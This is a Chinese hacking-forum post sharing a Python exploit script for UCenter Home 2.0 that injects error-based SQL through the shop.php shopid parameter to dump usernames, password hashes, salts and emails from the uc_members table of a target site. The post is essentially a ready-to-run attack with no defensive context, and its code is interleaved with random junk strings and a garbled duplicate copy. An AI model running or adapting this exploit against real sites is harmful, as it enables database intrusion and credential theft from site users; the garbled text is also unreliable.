找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1963|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl' ?! }8 @9 t- u& X+ k! D
5 I: N2 X8 [4 x
- y: a8 D; V  E: z7 K: X: g
#!/usr/bin/env python  
& B5 F3 k3 }$ U4 p1 w' E# T8 w 6 K2 O3 V( U4 H' O* E4 s9 y  b+ I' V
import sys  
! w1 J: L" s, j! timport urllib2  
; u2 R+ P* b4 o; \5 U. e1 Timport re  
# X2 ]; I) }9 \9 L5 M & t$ N2 y7 N- q1 _. ~; {% J
def info():  
6 g. s# R) W; _( l    print 'From:http://www.exploit-db.com/exploits/14997/'
* s+ n4 a. P, N) p( s4 J8 D    print 'http://www.hake.cc/Web_loudong/' . \' g( b( b  l2 [! z: s) v- R& M
    print 'changed:qiaoy'  ( f8 D3 h- I! Y/ ?
    print 'exp:'  7 d- t9 g7 O# G
    print ' ./UCenter_Home_2.0.py site'  
" r7 L3 j# \+ o9 t/ Y+ i& [6 G2 T- } $ n% y! C1 ]/ S
def main():  
1 C3 M# [, |4 H+ x0 |  [    if len(sys.argv) != 2:  
1 X. Y" v$ p. k+ g% {        info()  4 y2 C9 R8 a! k4 E% _7 H, h
    else:  / ?9 R  T7 N! A/ H3 N
        site = sys.argv[1]  
6 d5 J( ^% ^! D  H        if site[0:7] == 'http://':  
$ Q/ N. {: R5 c! S* R& q            sitesite =site  
# i4 R  Z' V" E" u8 w" h3 L        elif site[0:8] == 'https://':  
: ?' ~' G( }0 P6 P            sitesite = site  
6 h0 E5 t( }7 O! P        else:  ( h3 Q; K: n  p, G. q6 F. R
            site = 'http://'+site  
( Q# M3 ?* H) i. s        try:  6 w4 K3 T% n0 t. @$ ~8 e3 ?
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  . a4 x3 O3 G6 W& ]1 S0 }& R3 @* W8 ?1 K
            Value = urllib2.urlopen(url).read()  . o. A" R: E# s: `  g
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  3 ?+ n* I5 S# _, G, q
            hacked = Msg.split(':')  7 Q9 o; s# U: ]
            print 'Name:    '+hacked[1]  ; F. F  ^- A: w
            print 'Passwd:  '+hacked[2]  
. e9 N/ V) f) b/ C1 u  C% w            print 'salt:    '+hacked[3]  , {( ?0 W5 c: u. d5 U+ `( p
            print 'email:   '+hacked[4]  
2 c3 F/ @" L! `6 k        except:  5 O% S! r9 U0 O8 ?0 P  I& b
            print 'Sorry,I can\'t work............'  # @0 Q: }4 u5 T, \: t2 L
2 c8 z; E& |! M9 A
if __name__ == '__main__':  
9 m% l* {9 K5 k" \    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表